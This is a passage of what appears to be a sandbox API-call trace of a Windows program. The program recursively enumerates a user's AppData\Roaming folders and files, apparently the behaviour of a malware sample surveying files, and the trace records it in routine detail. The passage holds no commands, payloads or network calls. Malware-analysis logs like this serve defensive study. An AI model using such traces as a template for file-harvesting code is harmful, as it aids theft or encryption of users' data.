pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Linguistics\\*") returned 59 [0119.302] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Linguistics\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0119.302] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.302] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.302] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries") returned 70 [0119.302] wvnsprintfW (in: pszDest=0x2a6dce8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\*") returned 72 [0119.302] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0119.302] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.302] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0 [0119.302] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0119.302] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0119.302] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0119.302] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0119.302] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\LogTransport2") returned 59 [0119.302] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\LogTransport2\\*") returned 61 [0119.302] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Adobe\\LogTransport2\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0119.302] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.302] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0119.302] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0119.302] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 0 [0119.302] FindClose (in: hFindFile=0x85b220 | out: hFindFile=0x85b220) returned 1 [0119.302] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0119.302] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\aeB3H1UvGkVj.mkv") returned 56 [0119.302] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0119.302] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\bPz2UH.mp3") returned 50 [0119.302] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0119.302] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Byheq") returned 45 [0119.302] wvnsprintfW (in: pszDest=0x2a6ea78, cchDest=260, pszFmt="%s\\*", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Byheq\\*") returned 47 [0119.302] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Byheq\\*", lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 0x85b220 [0119.303] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0119.303] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0119.303] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Byheq\\hybe.ifi") returned 54 [0119.303] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 0 [0119.303] FindClose (in: hFindFile=0x85b220 | out: hFindFile=0x85b220) returned 1 [0119.303] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0119.303] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\cTSmIATk-iiB1WNaSfIS.bmp") returned 64 [0119.303] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0119.303] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\HhxENkXSiAjd.bmp") returned 56 [0119.303] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0119.303] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Identities") returned 50 [0119.303] wvnsprintfW (in: pszDest=0x2a6ea78, cchDest=260, pszFmt="%s\\*", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Identities\\*") returned 52 [0119.303] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Identities\\*", lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 0x85b220 [0119.303] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0119.303] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0119.303] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned 89 [0119.303] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*") returned 91 [0119.303] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0119.303] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.303] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0119.303] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0119.303] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 0 [0119.303] FindClose (in: hFindFile=0x85b220 | out: hFindFile=0x85b220) returned 1 [0119.303] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0119.303] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\ieeYHL-dYv.png") returned 54 [0119.303] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0119.303] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\J6ldJA-4Fyv0jtZei2q.mp3") returned 63 [0119.303] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0119.303] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\L4JMhNOLijv22J.mp4") returned 58 [0119.303] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0119.303] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\libeay32.dll") returned 52 [0119.303] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0119.303] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\libevent-2-0-5.dll") returned 58 [0119.303] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0119.303] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\libgcc_s_sjlj-1.dll") returned 59 [0119.303] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0119.303] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\libssp-0.dll") returned 52 [0119.303] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0119.303] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\lsr2XHXEWF fzF2X.bmp") returned 60 [0119.303] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0119.303] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Macromedia") returned 50 [0119.304] wvnsprintfW (in: pszDest=0x2a6ea78, cchDest=260, pszFmt="%s\\*", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Macromedia\\*") returned 52 [0119.304] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Macromedia\\*", lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 0x85b220 [0119.304] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0119.304] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0119.304] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Macromedia\\Flash Player") returned 63 [0119.304] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Macromedia\\Flash Player\\*") returned 65 [0119.304] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Macromedia\\Flash Player\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0119.304] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.304] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.304] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com") returned 78 [0119.304] wvnsprintfW (in: pszDest=0x2a6dce8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*") returned 80 [0119.304] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0119.304] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.304] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.304] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support") returned 86 [0119.304] wvnsprintfW (in: pszDest=0x2a6d620, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*") returned 88 [0119.304] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0119.304] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0119.304] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0119.304] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer") returned 98 [0119.304] wvnsprintfW (in: pszDest=0x2a6cf58, cchDest=260, pszFmt="%s\\*", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*") returned 100 [0119.304] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*", lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 0x85b320 [0119.304] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 1 [0119.304] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 1 [0119.304] wvnsprintfW (in: pszDest=0x2a6cb00, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys") returned 102 [0119.304] wvnsprintfW (in: pszDest=0x2a6c890, cchDest=260, pszFmt="%s\\*", arglist=0x2a6c41c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*") returned 104 [0119.304] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*", lpFindFileData=0x2a6c640 | out: lpFindFileData=0x2a6c640) returned 0x85b360 [0119.304] FindNextFileW (in: hFindFile=0x85b360, lpFindFileData=0x2a6c640 | out: lpFindFileData=0x2a6c640) returned 1 [0119.304] FindNextFileW (in: hFindFile=0x85b360, lpFindFileData=0x2a6c640 | out: lpFindFileData=0x2a6c640) returned 1 [0119.304] wvnsprintfW (in: pszDest=0x2a6c438, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6c41c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol") returned 115 [0119.304] FindNextFileW (in: hFindFile=0x85b360, lpFindFileData=0x2a6c640 | out: lpFindFileData=0x2a6c640) returned 0 [0119.304] FindClose (in: hFindFile=0x85b360 | out: hFindFile=0x85b360) returned 1 [0119.305] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 0 [0119.305] FindClose (in: hFindFile=0x85b320 | out: hFindFile=0x85b320) returned 1 [0119.305] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0 [0119.305] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0119.305] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0 [0119.305] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0119.305] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0119.305] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0119.305] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 0 [0119.305] FindClose (in: hFindFile=0x85b220 | out: hFindFile=0x85b220) returned 1 [0119.305] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0119.305] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\MAVic_ypvaRu.m4a") returned 56 [0119.305] FindNextFileW (in: hFindFile=0x85b1a0, lpFindFileData=0x2a6eef0 | out: lpFindFileData=0x2a6eef0) returned 1 [0119.305] wvnsprintfW (in: pszDest=0x2a6ece8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6eccc | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft") returned 49 [0119.305] wvnsprintfW (in: pszDest=0x2a6ea78, cchDest=260, pszFmt="%s\\*", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\*") returned 51 [0119.305] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\*", lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 0x85b220 [0119.305] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0119.305] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0119.305] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Access") returned 56 [0119.305] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Access\\*") returned 58 [0119.305] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Access\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0119.305] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.305] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.305] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb") returned 74 [0119.305] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.305] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Access\\System.mdw") returned 67 [0119.305] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0119.305] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0119.305] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0119.305] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\AddIns") returned 56 [0119.305] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\AddIns\\*") returned 58 [0119.305] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\AddIns\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0119.306] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.306] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0119.306] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0119.306] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0119.306] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Bibliography") returned 62 [0119.306] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Bibliography\\*") returned 64 [0119.306] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Bibliography\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0119.306] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.306] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0119.306] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Bibliography\\Style") returned 68 [0119.306] wvnsprintfW (in: pszDest=0x2a6dce8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\*") returned 70 [0119.306] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0119.306] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.306] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.306] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl") returned 100 [0119.306] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.306] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL") returned 80 [0119.306] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.306] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL") returned 75 [0119.306] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.306] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL") returned 81 [0119.306] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.306] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL") returned 82 [0119.307] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.307] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl") returned 102 [0119.307] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0119.307] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK 